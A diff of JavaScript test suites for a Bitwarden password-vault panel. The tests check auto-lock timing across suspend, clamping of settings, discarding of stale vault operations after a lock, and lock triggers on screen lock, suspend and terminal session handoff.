["autoLockMinutes", true, 15, "a boolean falls back to the default"],
|
||||
["autoLockMinutes", 999999, 1440, "a count that would overflow Timer.interval is capped"],
|
||||
["autoLockMinutes", 1e30, 1440, "so is one written in exponential notation"],
|
||||
// The floor of every integer setting here doubles as its "off" sentinel, so
|
||||
// clamping a negative up to it is the silent never-lock this clamp exists to
|
||||
// refuse, reached from the other side. Below the range is a bad value, not a
|
||||
// request for zero.
|
||||
["autoLockMinutes", -5, 15, "a negative count is the default, NOT 0/never"],
|
||||
["autoLockMinutes", "-1", 15, "including the string form"],
|
||||
["autoLockMinutes", -Infinity, 15, "and the one that arrives as -Infinity"],
|
||||
["autoLockMinutes", 15.9, 15, "a fraction truncates rather than reaching the Timer"],
|
||||
["clearClipboardSec", 100000, 300, "the clipboard timeout has its own ceiling"],
|
||||
["clearClipboardSec", "soon", 30, "and its own default"],
|
||||
["clearClipboardSec", -1, 30, "and a negative there is not 'never clear' either"],
|
||||
["autoCopyTotpSec", 999, 30, "so does the TOTP delay"],
|
||||
["autoCopyTotpSec", "off", 3, "and its default is not 0 either"],
|
||||
["autoCopyTotpSec", -3, 3, "and a negative is its default too"],
|
||||
]) {
|
||||
const got = Model.intSetting(key, raw)
|
||||
check(`intSetting(${key}, ${JSON.stringify(raw)}) -> ${want}: ${why}`, got === want, `got ${got}`)
|
||||
}
|
||||
|
||||
check("every clamped value is a finite integer",
|
||||
[undefined, null, "", "x", {}, [], NaN, Infinity, -Infinity, 1e400].every(v => {
|
||||
const n = Model.intSetting("autoLockMinutes", v)
|
||||
return Number.isInteger(n) && n >= 0 && n <= 1440
|
||||
}), "one of the junk values escaped the clamp")
|
||||
|
||||
check("the panel reads its int settings through the clamp",
|
||||
/autoLockMinutes:\s*Model\.intSetting\("autoLockMinutes"/.test(panelSrc)
|
||||
&& /clearClipboardSec:\s*Model\.intSetting\("clearClipboardSec"/.test(panelSrc)
|
||||
&& /autoCopyTotpSec:\s*Model\.intSetting\("autoCopyTotpSec"/.test(panelSrc),
|
||||
"expected Model.intSetting() on all three integer settings")
|
||||
|
||||
// --- 3. The auto-lock deadline survives a suspend ---------------------------
|
||||
const t0 = 1700000000000
|
||||
check("not expired before the window is up",
|
||||
Model.autoLockExpired(t0, 15, t0 + 14 * 60000) === false, "expired early")
|
||||
check("expired the moment the window is up",
|
||||
Model.autoLockExpired(t0, 15, t0 + 15 * 60000) === true, "did not expire")
|
||||
|
||||
// The bug itself. The shell is frozen across a suspend, so the monotonic Timer
|
||||
// counts only the seconds either side of it; the wall clock counts the night.
|
||||
const awakeMsBeforeSuspend = 60 * 1000
|
||||
const suspendMs = 12 * 60 * 60 * 1000
|
||||
check("a twelve-hour suspend expires a fifteen-minute window",
|
||||
Model.autoLockExpired(t0, 15, t0 + awakeMsBeforeSuspend + suspendMs) === true,
|
||||
"the vault would have come back unlocked")
|
||||
check("the monotonic clock alone would not have noticed",
|
||||
awakeMsBeforeSuspend < 15 * 60000, "premise of the test is wrong")
|
||||
|
||||
check("zero minutes is the user asking for no auto-lock, not an instant one",
|
||||
Model.autoLockExpired(t0, 0, t0 + suspendMs) === false, "locked with auto-lock off")
|
||||
check("an unarmed window has no deadline to have passed",
|
||||
Model.autoLockExpired(0, 15, t0) === false, "locked without ever being armed")
|
||||
check("junk cannot make it lock, or stop it locking",
|
||||
Model.autoLockExpired(NaN, 15, t0) === false
|
||||
&& Model.autoLockExpired(t0, NaN, t0 + suspendMs) === false
|
||||
&& Model.autoLockExpired(t0, 15, NaN) === false,
|
||||
"a NaN got through")
|
||||
|
||||
for (const [minutes, want] of [[15, 30000], [60, 30000], [1, 30000], [0, 30000]]) {
|
||||
check(`autoLockPollMs(${minutes}) === ${want}`, Model.autoLockPollMs(minutes) === want,
|
||||
String(Model.autoLockPollMs(minutes)))
|
||||
}
|
||||
check("the poll never outlasts the window it is watching",
|
||||
[1, 5, 15, 1440].every(m => Model.autoLockPollMs(m) <= m * 60000), "poll longer than the window")
|
||||
check("and never busy-loops",
|
||||
[0, 1, 15, 1440].every(m => Model.autoLockPollMs(m) >= 1000), "poll under a second")
|
||||
|
||||
check("the panel arms the window in wall-clock terms",
|
||||
/autoLockArmedAt\s*=\s*Date\.now\(\)/.test(bodyOf("resetAutoLockTimer")),
|
||||
bodyOf("resetAutoLockTimer"))
|
||||
const watchdog = panelSrc.slice(panelSrc.indexOf("id: autoLockWatchdog"),
|
||||
panelSrc.indexOf("id: autoLockWatchdog") + 900)
|
||||
check("the panel runs a wall-clock watchdog alongside the monotonic timer",
|
||||
panelSrc.includes("id: autoLockWatchdog"), "no autoLockWatchdog Timer")
|
||||
check("the watchdog repeats, or it is just the monotonic timer again",
|
||||
/repeat:\s*true/.test(watchdog), watchdog)
|
||||
check("the watchdog only runs on an unlocked vault",
|
||||
/running:\s*root\.status === "unlocked" && root\.autoLockMinutes > 0/.test(watchdog), watchdog)
|
||||
check("the watchdog asks the wall clock",
|
||||
/Model\.autoLockExpired\(root\.autoLockArmedAt, root\.autoLockMinutes, Date\.now\(\)\)/.test(watchdog),
|
||||
watchdog)
|
||||
check("and locks when it has passed",
|
||||
/root\.lockVault\(\)/.test(watchdog), watchdog)
|
||||
|
||||
// --- 4. A reader that outlived the vault it was reading ---------------------
|
||||
check("same generation, session still there: fresh",
|
||||
Model.vaultReadIsStale(3, 3, true) === false, "rejected a live result")
|
||||
check("the vault changed hands: stale",
|
||||
Model.vaultReadIsStale(3, 4, true) === true, "accepted a result from a previous vault")
|
||||
check("no session at all: stale whatever the generation says",
|
||||
Model.vaultReadIsStale(3, 3, false) === true, "accepted a result into a locked vault")
|
||||
check("a reader that never recorded a generation is stale, not fresh",
|
||||
Model.vaultReadIsStale(undefined, 0, true) === true, "unstamped read treated as fresh")
|
||||
|
||||
// Replay of the real sequence, with the panel's own logic standing in for the
|
||||
// panel. `bw list items` is in flight; the vault locks; the list lands.
|
||||
function fakePanel() {
|
||||
return {
|
||||
session: "SESSION-A",
|
||||
vaultEpoch: 0,
|
||||
readEpochs: {},
|
||||
items: [],
|
||||
itemsLoadedAt: 0,
|
||||
beginVaultRead(name) { this.readEpochs[name] = this.vaultEpoch },
|
||||
stale(name) { return Model.vaultReadIsStale(this.readEpochs[name], this.vaultEpoch, !!this.session) },
|
||||
loadItems() { this.beginVaultRead("items") },
|
||||
onListFinished(raw) {
|
||||
if (this.stale("items")) return
|
||||
this.items = Model.parseItems(raw)
|
||||
this.itemsLoadedAt = 1
|
||||
},
|
||||
lockVault() { this.session = ""; this.vaultEpoch += 1; this.items = []; this.itemsLoadedAt = 0 },
|
||||
unlockAs(token) { this.session = token; this.vaultEpoch += 1 }
|
||||
}
|
||||
}
|
||||
|
||||
const vaultA = JSON.stringify([
|
||||
{ id: "a1", name: "Bank", type: 1, login: { username: "me", password: "hunter2" } }
|
||||
])
|
||||
const vaultB = JSON.stringify([
|
||||
{ id: "b1", name: "Work", type: 1, login: { username: "work", password: "correct-horse" } }
|
||||
])
|
||||
|
||||
let p = fakePanel()
|
||||
p.loadItems()
|
||||
p.lockVault()
|
||||
p.onListFinished(vaultA)
|
||||
check("a list that lands after the lock does not refill the vault",
|
||||
p.items.length === 0, JSON.stringify(p.items))
|
||||
|
||||
p = fakePanel()
|
||||
p.loadItems()
|
||||
p.lockVault()
|
||||
p.unlockAs("SESSION-B") // logged out and back in as somebody else
|
||||
p.onListFinished(vaultA)
|
||||
check("nor after a re-login, where it would have been drawn as the new account's",
|
||||
p.items.length === 0, JSON.stringify(p.items))
|
||||
p.loadItems()
|
||||
p.onListFinished(vaultB)
|
||||
check("the new account's own list is accepted",
|
||||
p.items.length === 1 && p.items[0].id === "b1", JSON.stringify(p.items))
|
||||
check("and the cache is not marked fresh off a discarded answer",
|
||||
fakePanel().itemsLoadedAt === 0, "premise")
|
||||
|
||||
// Every reader the panel has, wired at both ends.
|
||||
for (const [name, starter, handler] of [
|
||||
["items", "loadItems", "onListFinished"],
|
||||
["organizations", "loadOrganizations", "onListOrgsFinished"],
|
||||
["folders", "loadFolders", "onListFoldersFinished"],
|
||||
["collections", "loadOrgCollections", "onOrgCollectionsLoaded"],
|
||||
["detail", "openDetail", "onDetailFinished"],
|
||||
["totp", "startTotpFetch", "onTotpFinished"],
|
||||
["sends", "loadSends", "onSendsLoaded"],
|
||||
]) {
|
||||
check(`${starter}() records the vault generation`,
|
||||
new RegExp(`beginVaultRead\\("${name}"\\)`).test(bodyOf(starter)), bodyOf(starter))
|
||||
check(`${handler}() refuses an answer from a vault that has closed`,
|
||||
new RegExp(`if \\(vaultReadIsStale\\("${name}"\\)\\) return`).test(bodyOf(handler)), bodyOf(handler))
|
||||
}
|
||||
|
||||
// Writers and generated values can outlive a lock too. Their server-side
|
||||
// effect may already have happened, but no completion may repopulate the
|
||||
// locked panel, copy a newly created Send URL, or navigate back to main.
|
||||
for (const [name, starter, handler] of [
|
||||
["sendCreate", "submitCreateSend", "onSendCreated"],
|
||||
["sendDelete", "deleteSend", "onSendDeleted"],
|
||||
["generator", "regenerate", "onGenerated"],
|
||||
["folderCreate", "submitNewFolder", "onFolderCreated"],
|
||||
["sync", "syncVault", "onSyncFinished"],
|
||||
["itemSave", "saveItemForm", "onSaveItemFinished"],
|
||||
["itemDelete", "deleteCurrentItem", "onDeleteItemFinished"],
|
||||
["attachment", "pumpAttachmentQueue", "onAttachmentDownloaded"],
|
||||
]) {
|
||||
check(`${starter}() stamps the vault operation`,
|
||||
new RegExp(`beginVaultRead\\("${name}"\\)`).test(bodyOf(starter)), bodyOf(starter))
|
||||
check(`${handler}() drops a completion from a vault that has closed`,
|
||||
new RegExp(`if \\(vaultReadIsStale\\("${name}"\\)\\)[\\s\\S]{0,140}return`).test(bodyOf(handler)), bodyOf(handler))
|
||||
}
|
||||
|
||||
const droppedState = bodyOf("dropVaultState")
|
||||
check("a queued TOTP request is pinned to the vault generation that queued it",
|
||||
/totpQueuedEpoch\s*=\s*vaultEpoch/.test(bodyOf("fetchTotp"))
|
||||
&& /queuedEpoch\s*===\s*root\.vaultEpoch/.test(bodyOf("continueTotpQueue")),
|
||||
bodyOf("fetchTotp") + "\n" + bodyOf("continueTotpQueue"))
|
||||
check("every status request records the current vault generation",
|
||||
/beginEpochOperation\("status"\)/.test(bodyOf("runStatusCheck")), bodyOf("runStatusCheck"))
|
||||
check("status completion refuses a result from an earlier vault generation",
|
||||
/if \(epochOperationIsStale\("status"\)\) return/.test(bodyOf("onStatusFinished")),
|
||||
bodyOf("onStatusFinished"))
|
||||
check("status requests use the generation-stamped launcher",
|
||||
(panelSrc.match(/statusProc\.running\s*=\s*true/g) || []).length === 1
|
||||
&& /statusProc\.running\s*=\s*true/.test(bodyOf("runStatusCheck")),
|
||||
`direct starts: ${(panelSrc.match(/statusProc\.running\s*=\s*true/g) || []).length}`)
|
||||
check("session handoff reads record and verify their vault generation",
|
||||
/beginEpochOperation\("sessionHandoff"\)/.test(bodyOf("refreshStatus"))
|
||||
&& /if \(epochOperationIsStale\("sessionHandoff"\)\) return/.test(bodyOf("onSessionHandoff")),
|
||||
bodyOf("refreshStatus") + "\n" + bodyOf("onSessionHandoff"))
|
||||
check("remembered-session lookups record and verify their vault generation",
|
||||
/beginEpochOperation\("keyringLookup"\)/.test(bodyOf("onSessionHandoff"))
|
||||
&& /if \(epochOperationIsStale\("keyringLookup"\)\) return/.test(bodyOf("onKeyringLookupFinished")),
|
||||
bodyOf("onSessionHandoff") + "\n" + bodyOf("onKeyringLookupFinished"))
|
||||
check("logout closes any terminal handoff acceptance window",
|
||||
/terminalLoginStartedAt\s*=\s*0/.test(bodyOf("logoutAccount")), bodyOf("logoutAccount"))
|
||||
const abandonedAuth = bodyOf("abandonAuthSecrets")
|
||||
check("abandoning authentication clears every typed or staged auth secret",
|
||||
["masterPassword", "loginPassword", "loginClientId", "loginClientSecret", "login2faCode",
|
||||
"pendingUnlockPassword", "authPasswordWriteValue", "pinEntry"].every(prop =>
|
||||
new RegExp(`\\b${prop}\\s*=\\s*""`).test(abandonedAuth)),
|
||||
abandonedAuth)
|
||||
check("handoff, external unlock, and panel hide purge abandoned auth secrets",
|
||||
/cancelAuthPrewarm\(\)[\s\S]{0,100}abandonAuthSecrets\(\)/.test(bodyOf("onSessionHandoff"))
|
||||
&& /if\s*\(st\.unlocked\)[\s\S]{0,120}abandonAuthSecrets\(\)/.test(bodyOf("onStatusFinished"))
|
||||
&& /onOpenedChanged:[\s\S]{0,180}else[\s\S]{0,120}abandonAuthSecrets\(\)/.test(panelSrc),
|
||||
bodyOf("onSessionHandoff") + "\n" + bodyOf("onStatusFinished"))
|
||||
check("closing the panel invalidates PIN and fingerprint unlock completions",
|
||||
/abandonAuthSecrets\(\)/.test(bodyOf("close"))
|
||||
&& /pinUnlockSubmitted\s*=\s*false/.test(abandonedAuth)
|
||||
&& /cancelFingerprintUnlock\(\)/.test(bodyOf("close")), bodyOf("close"))
|
||||
check("closing the panel cancels authentication-method setup writes",
|
||||
/abandonPinSetup\(\)/.test(bodyOf("close"))
|
||||
&& /abandonFingerprintSetup\(\)/.test(bodyOf("close")), bodyOf("close"))
|
||||
check("leaving either authentication setup form cancels its in-flight write",
|
||||
/currentScreen\s*!==\s*"pin"[\s\S]*abandonPinSetup\(\)/.test(panelSrc)
|
||||
&& /currentScreen\s*!==\s*"fingerprint"[\s\S]*abandonFingerprintSetup\(\)/.test(panelSrc)
|
||||
&& /invalidateEpochOperation\("pinStore"\)/.test(bodyOf("abandonPinSetup"))
|
||||
&& /invalidateEpochOperation\("masterStore"\)/.test(bodyOf("abandonFingerprintSetup")),
|
||||
bodyOf("abandonPinSetup") + "\n" + bodyOf("abandonFingerprintSetup"))
|
||||
check("PIN completion requires a still-active submitted unlock",
|
||||
/pinUnlockSubmitted\s*&&\s*sshAuthSurfaceActive\s*&&\s*status\s*===\s*"locked"/.test(bodyOf("onPinUnlockResult")),
|
||||
bodyOf("onPinUnlockResult"))
|
||||
check("fingerprint password retrieval requires a live verified attempt",
|
||||
/fingerprintAuthorized/.test(bodyOf("onFingerprintPasswordRetrieved"))
|
||||
&& /sshAuthSurfaceActive/.test(bodyOf("onFingerprintPasswordRetrieved"))
|
||||
&& /status\s*!==\s*"locked"/.test(bodyOf("onFingerprintPasswordRetrieved")),
|
||||
bodyOf("onFingerprintPasswordRetrieved"))
|
||||
check("remembered-session stores are generation-stamped and stale stores are cleared",
|
||||
/beginEpochOperation\("sessionStore"\)/.test(bodyOf("storeCurrentSession"))
|
||||
&& /epochOperationIsStale\("sessionStore"\)/.test(bodyOf("onSessionStored"))
|
||||
&& /requestSessionCredentialClear\(\)/.test(bodyOf("onSessionStored")),
|
||||
bodyOf("storeCurrentSession") + "\n" + bodyOf("onSessionStored"))
|
||||
check("a newer session waits for an old store and its cleanup before being remembered",
|
||||
/keyringStoreProc\.running\s*\|\|\s*keyringClearProc\.running/.test(bodyOf("storeCurrentSession"))
|
||||
&& /sessionStorePending\s*=\s*true/.test(bodyOf("storeCurrentSession"))
|
||||
&& /sessionStorePending\s*=\s*rememberSession\s*&&\s*status\s*===\s*"unlocked"\s*&&\s*!!session/.test(bodyOf("onSessionStored"))
|
||||
&& /sessionStorePending[\s\S]{0,100}storeCurrentSession/.test(panelSrc.slice(
|
||||
panelSrc.indexOf("id: keyringClearProc"), panelSrc.indexOf("id: listFoldersProc"))),
|
||||
bodyOf("storeCurrentSession") + "\n" + bodyOf("onSessionStored"))
|
||||
check("PIN stores cannot recreate a credential after the vault generation changes",
|
||||
/beginEpochOperation\("pinStore"\)/.test(bodyOf("submitPinSetup"))
|
||||
&& /epochOperationIsStale\("pinStore"\)/.test(bodyOf("onPinStored"))
|
||||
&& /requestPinCredentialClear\(\)/.test(bodyOf("onPinStored")),
|
||||
bodyOf("submitPinSetup") + "\n" + bodyOf("onPinStored"))
|
||||
check("master-password stores cannot recreate a credential after lock or logout",
|
||||
/beginEpochOperation\("masterStore"\)/.test(bodyOf("submitFingerprintSetup"))
|
||||
&& /epochOperationIsStale\("masterStore"\)/.test(bodyOf("onMasterPasswordStored"))
|
||||
&& /requestMasterCredentialClear\(\)/.test(bodyOf("onMasterPasswordStored")),
|
||||
bodyOf("submitFingerprintSetup") + "\n" + bodyOf("onMasterPasswordStored"))
|
||||
check("a learned-association read cannot repopulate account metadata after logout",
|
||||
/associationsReadEpoch\s*=\s*associationsEpoch/.test(bodyOf("loadAssociations"))
|
||||
&& /associationsReadEpoch\s*!==\s*associationsEpoch/.test(bodyOf("onAssociationsLoaded"))
|
||||
&& /associationsEpoch\s*\+=\s*1/.test(bodyOf("forgetStoredCredentials")),
|
||||
bodyOf("loadAssociations") + "\n" + bodyOf("onAssociationsLoaded")
|
||||
+ "\n" + bodyOf("forgetStoredCredentials"))
|
||||
check("credential clears requested during another clear are repeated afterward",
|
||||
/sessionClearPending\s*=\s*true/.test(bodyOf("requestSessionCredentialClear"))
|
||||
&& /pinClearPending\s*=\s*true/.test(bodyOf("requestPinCredentialClear"))
|
||||
&& /masterClearPending\s*=\s*true/.test(bodyOf("requestMasterCredentialClear"))
|
||||
&& /allCredentialsClearPending\s*=\s*true/.test(bodyOf("requestAllCredentialClear")),
|
||||
"one or more keyring clear paths cannot queue a repeat")
|
||||
check("locking uses the centralized local vault purge",
|
||||
/dropVaultState\(\)/.test(bodyOf("lockVault")), bodyOf("lockVault"))
|
||||
check("unreadable, locked, and logged-out status results purge local vault state",
|
||||
(bodyOf("onStatusFinished").match(/dropVaultState\(\)/g) || []).length >= 3,
|
||||
bodyOf("onStatusFinished"))
|
||||
for (const [prop, empty] of [
|
||||
["session", '""'], ["items", "[]"], ["filteredItems", "[]"],
|
||||
["organizations", "[]"], ["folders", "[]"], ["detailItem", "null"],
|
||||
["formCollections", "[]"], ["formCollectionIds", "[]"],
|
||||
["formUsername", '""'], ["formUri", '""'],
|
||||
["formNotes", '""'],
|
||||
]) {
|
||||
check(`the local vault purge clears ${prop}`,
|
||||
droppedState.includes(`${prop} = ${empty}`),
|
||||
droppedState)
|
||||
}
|
||||
check("the local vault purge cancels and clears attachment work",
|
||||
/cancelAttachmentDownloads\(\)/.test(droppedState)
|
||||
&& /attachmentQueue\s*=\s*\[\]/.test(bodyOf("cancelAttachmentDownloads"))
|
||||
&& /attachmentBusyId\s*=\s*""/.test(bodyOf("cancelAttachmentDownloads")),
|
||||
droppedState + "\n" + bodyOf("cancelAttachmentDownloads"))
|
||||
check("the local vault purge clears secret fields and collector buffers",
|
||||
/dropVaultSecrets\(\)/.test(droppedState), droppedState)
|
||||
|
||||
for (const fn of ["onUnlockSuccess", "onSessionHandoff", "onKeyringLookupFinished"]) {
|
||||
check(`${fn}() moves the vault generation on`,
|
||||
/vaultEpoch \+= 1/.test(bodyOf(fn)), bodyOf(fn))
|
||||
}
|
||||
|
||||
console.log(`${pass} passed, ${failures.length} failed`)
|
||||
if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) }
|
||||
@@ -0,0 +1,277 @@
|
||||
#!/usr/bin/env node
|
||||
// Tests for the two events that lock the vault without waiting out the
|
||||
// auto-lock countdown, and for the window in which a terminal login's session
|
||||
// key is accepted.
|
||||
//
|
||||
// node tests/lock-triggers.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const path = require("path")
|
||||
const { execFileSync } = require("child_process")
|
||||
|
||||
const Model = {}
|
||||
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
|
||||
.replace(/^\.pragma library\s*$/m, "") + `
|
||||
exports.screenLockStateCommand = screenLockStateCommand
|
||||
exports.screenIsLocked = screenIsLocked
|
||||
exports.screenLockPollMs = screenLockPollMs
|
||||
exports.sleepMonitorCommand = sleepMonitorCommand
|
||||
exports.sleepSignalToken = sleepSignalToken
|
||||
exports.wakeSignalToken = wakeSignalToken
|
||||
exports.sessionHandoffReadCommand = sessionHandoffReadCommand
|
||||
exports.handoffWindowOpen = handoffWindowOpen
|
||||
exports.handoffWindowMs = handoffWindowMs
|
||||
exports.groupedSettings = groupedSettings
|
||||
`)(Model)
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`)
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Screen lock
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
// Only "true" is locked. A shell with the lock plugin disabled answers
|
||||
// "Target not found." and exits non-zero; that is "no answer", and a vault
|
||||
// that reads it as "locked" would relock itself every few seconds forever.
|
||||
const LOCK_ANSWERS = [
|
||||
["true", true],
|
||||
["true\n", true],
|
||||
[" true ", true],
|
||||
["false", false],
|
||||
["", false],
|
||||
["Target not found.", false],
|
||||
["TRUE", false],
|
||||
["truthy", false],
|
||||
[null, false],
|
||||
[undefined, false],
|
||||
]
|
||||
|
||||
for (const [raw, want] of LOCK_ANSWERS) {
|
||||
check(`screenIsLocked(${JSON.stringify(raw)}) is ${want}`,
|
||||
Model.screenIsLocked(raw) === want, String(Model.screenIsLocked(raw)))
|
||||
}
|
||||
|
||||
const lockCmd = Model.screenLockStateCommand()
|
||||
check("screen lock state is asked of the shell's own lock plugin",
|
||||
lockCmd.join(" ").includes("omarchy-shell lock isLocked"), lockCmd.join(" "))
|
||||
|
||||
check("screen lock state bounds what it will read back",
|
||||
/head -c \d+/.test(lockCmd.join(" ")), lockCmd.join(" "))
|
||||
|
||||
check("screen lock poll is a sane interval",
|
||||
Model.screenLockPollMs() >= 1000 && Model.screenLockPollMs() <= 15000,
|
||||
String(Model.screenLockPollMs()))
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Suspend
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
const sleepScript = Model.sleepMonitorCommand()[2]
|
||||
|
||||
check("suspend is taken from logind's PrepareForSleep",
|
||||
sleepScript.includes("PrepareForSleep") && sleepScript.includes("org.freedesktop.login1"),
|
||||
sleepScript)
|
||||
|
||||
// Without a delay inhibitor logind announces the sleep and suspends without
|
||||
// waiting, so the lock would be racing the freeze.
|
||||
check("a delay inhibitor is held so the lock lands before the freeze",
|
||||
sleepScript.includes("--what=sleep") && sleepScript.includes("--mode=delay"),
|
||||
sleepScript)
|
||||
|
||||
// sed quits on the match, but the monitor would then keep the pipeline open
|
||||
// until it next wrote -- which is on the far side of the suspend. Killing it
|
||||
// is what lets the inhibitor be released and the loop come round again.
|
||||
check("the monitor is killed rather than left to a broken pipe",
|
||||
sleepScript.includes("kill \"$g\""), sleepScript)
|
||||
|
||||
check("the loop never exits, so a failure cannot become a hot restart",
|
||||
sleepScript.includes("while :; do") && /sleep 300/.test(sleepScript) && /sleep 5/.test(sleepScript),
|
||||
sleepScript)
|
||||
|
||||
check("sed is unbuffered, so the token is not held back past the suspend",
|
||||
/sed -une/.test(sleepScript), sleepScript)
|
||||
|
||||
// The end-to-end behaviour, against stubs standing in for gdbus and
|
||||
// systemd-inhibit: the announcement has to produce exactly one token, the
|
||||
// inhibitor has to be released about a second later, and the loop has to come
|
||||
// round for the suspend after this one.
|
||||
const os = require("os")
|
||||
const work = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-lock-"))
|
||||
try {
|
||||
const log = path.join(work, "inhibit.log")
|
||||
fs.writeFileSync(log, "")
|
||||
|
||||
// Real gdbus is a single process, so the stub execs its wait rather than
|
||||
// backgrounding it -- otherwise the stub would leak a child that the real
|
||||
// thing does not have.
|
||||
fs.writeFileSync(path.join(work, "gdbus"), `#!/bin/bash
|
||||
echo "Monitoring signals on object /org/freedesktop/login1 owned by org.freedesktop.login1"
|
||||
echo "/org/freedesktop/login1: org.freedesktop.login1.Manager.PrepareForSleep (false,)"
|
||||
echo "/org/freedesktop/login1: org.freedesktop.login1.Manager.PrepareForSleep (true,)"
|
||||
exec sleep 600
|
||||
`)
|
||||
fs.writeFileSync(path.join(work, "systemd-inhibit"), `#!/bin/bash
|
||||
while [[ "$1" == --* ]]; do shift; done
|
||||
echo "ACQUIRED $(date +%s%3N)" >> "${log}"
|
||||
"$@"; rc=$?
|
||||
echo "RELEASED $(date +%s%3N)" >> "${log}"
|
||||
exit $rc
|
||||
`)
|
||||
for (const f of ["gdbus", "systemd-inhibit"]) fs.chmodSync(path.join(work, f), 0o755)
|
||||
|
||||
const script = path.join(work, "cmd.sh")
|
||||
fs.writeFileSync(script, sleepScript)
|
||||
|
||||
let out = ""
|
||||
try {
|
||||
out = execFileSync("bash", ["-c",
|
||||
`PATH=${work}:$PATH timeout 4 bash ${script}`], { encoding: "utf8" })
|
||||
} catch (e) {
|
||||
out = String(e.stdout || "") // timeout always kills it; that is the point
|
||||
}
|
||||
|
||||
const tokens = out.split("\n").map(s => s.trim()).filter(Boolean)
|
||||
|
||||
check("an announcement produces the sleep token",
|
||||
tokens[0] === Model.sleepSignalToken(), JSON.stringify(tokens))
|
||||
|
||||
check("resuming produces the wake token",
|
||||
tokens[1] === Model.wakeSignalToken(), JSON.stringify(tokens))
|
||||
|
||||
// A `false` announcement is a resume, not a sleep. Two tokens per cycle, so
|
||||
// an odd count would mean the resume line matched as well.
|
||||
check("only a true announcement counts as a sleep",
|
||||
tokens.filter(t => t === Model.sleepSignalToken()).length
|
||||
=== tokens.filter(t => t === Model.wakeSignalToken()).length
|
||||
|| tokens[tokens.length - 1] === Model.sleepSignalToken(),
|
||||
JSON.stringify(tokens))
|
||||
|
||||
// The bug this shape exists to avoid: the loop coming round only once.
|
||||
check("the loop detects more than one suspend per session",
|
||||
tokens.filter(t => t === Model.sleepSignalToken()).length >= 2,
|
||||
JSON.stringify(tokens))
|
||||
|
||||
const entries = fs.readFileSync(log, "utf8").trim().split("\n").filter(Boolean)
|
||||
const acquired = entries.filter(l => l.startsWith("ACQUIRED")).length
|
||||
const released = entries.filter(l => l.startsWith("RELEASED")).length
|
||||
|
||||
check("an inhibitor is taken for every cycle",
|
||||
acquired >= 2 && released >= 1 && acquired - released <= 1,
|
||||
entries.join(" | "))
|
||||
|
||||
// Held about a second past the announcement, which is well inside logind's
|
||||
// InhibitDelayMaxSec (5s by default) and long enough for the panel to drop
|
||||
// the key and for the keyring clear it spawns to finish.
|
||||
const firstAcquire = Number(entries[0].split(" ")[1])
|
||||
const firstRelease = Number(entries.find(l => l.startsWith("RELEASED")).split(" ")[1])
|
||||
const held = firstRelease - firstAcquire
|
||||
check("the inhibitor is released promptly, not held across the suspend",
|
||||
held >= 900 && held < 4000, `${held}ms`)
|
||||
} finally {
|
||||
fs.rmSync(work, { recursive: true, force: true })
|
||||
}
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Session handoff window
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
const NOW = 1_700_000_000_000
|
||||
const WINDOW = Model.handoffWindowMs()
|
||||
|
||||
check("the window is closed when no terminal login was ever launched",
|
||||
Model.handoffWindowOpen(0, NOW) === false, "0")
|
||||
|
||||
check("the window is open right after launching one",
|
||||
Model.handoffWindowOpen(NOW, NOW) === true, "same instant")
|
||||
|
||||
check("the window is still open partway through a slow login",
|
||||
Model.handoffWindowOpen(NOW - WINDOW / 2, NOW) === true, "half the window")
|
||||
|
||||
check("the window is open at the boundary",
|
||||
Model.handoffWindowOpen(NOW - WINDOW, NOW) === true, "exactly the window")
|
||||
|
||||
check("the window is closed past the boundary",
|
||||
Model.handoffWindowOpen(NOW - WINDOW - 1, NOW) === false, "one ms past")
|
||||
|
||||
// A clock stepped backwards is evidence the clock moved, not that the login
|
||||
// was recent, so it must not reopen the window.
|
||||
check("a clock stepped backwards closes the window rather than reopening it",
|
||||
Model.handoffWindowOpen(NOW + 60_000, NOW) === false, "start in the future")
|
||||
|
||||
check("a window long enough for a real 2FA login",
|
||||
WINDOW >= 5 * 60 * 1000, `${WINDOW}ms`)
|
||||
|
||||
const expecting = Model.sessionHandoffReadCommand(true)[2]
|
||||
const discarding = Model.sessionHandoffReadCommand(false)[2]
|
||||
|
||||
check("an expected handoff is read out",
|
||||
expecting.includes("head -c"), expecting)
|
||||
|
||||
check("an unexpected handoff is not read out",
|
||||
!discarding.includes("head -c"), discarding)
|
||||
|
||||
// Not reading it is not the same as leaving it there. A live session key in
|
||||
// the runtime directory is the worse of the two outcomes.
|
||||
check("an unexpected handoff is still removed",
|
||||
discarding.includes("rm -f"), discarding)
|
||||
|
||||
check("an expected handoff is removed once consumed",
|
||||
expecting.includes("rm -f"), expecting)
|
||||
|
||||
// Both forms, run for real against a planted file.
|
||||
{
|
||||
const runtime = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-handoff-"))
|
||||
try {
|
||||
const dir = path.join(runtime, "qs-bitwarden-cli")
|
||||
fs.mkdirSync(dir)
|
||||
const file = path.join(dir, "session-handoff")
|
||||
const KEY = "A".repeat(88)
|
||||
|
||||
for (const [label, script, wantOut] of [
|
||||
["expected", expecting, KEY],
|
||||
["unexpected", discarding, ""],
|
||||
]) {
|
||||
fs.writeFileSync(file, KEY)
|
||||
const out = execFileSync("bash", ["-c", script],
|
||||
{ encoding: "utf8", env: { ...process.env, XDG_RUNTIME_DIR: runtime } })
|
||||
check(`an ${label} handoff returns ${wantOut ? "the key" : "nothing"}`,
|
||||
out.trim() === wantOut, JSON.stringify(out))
|
||||
check(`an ${label} handoff leaves no file behind`,
|
||||
!fs.existsSync(file), "file still present")
|
||||
}
|
||||
} finally {
|
||||
fs.rmSync(runtime, { recursive: true, force: true })
|
||||
}
|
||||
}
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Both settings reach the settings screen
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
const keys = Model.groupedSettings().map(e => e.key)
|
||||
for (const k of ["lockOnScreenLock", "lockOnSuspend"]) {
|
||||
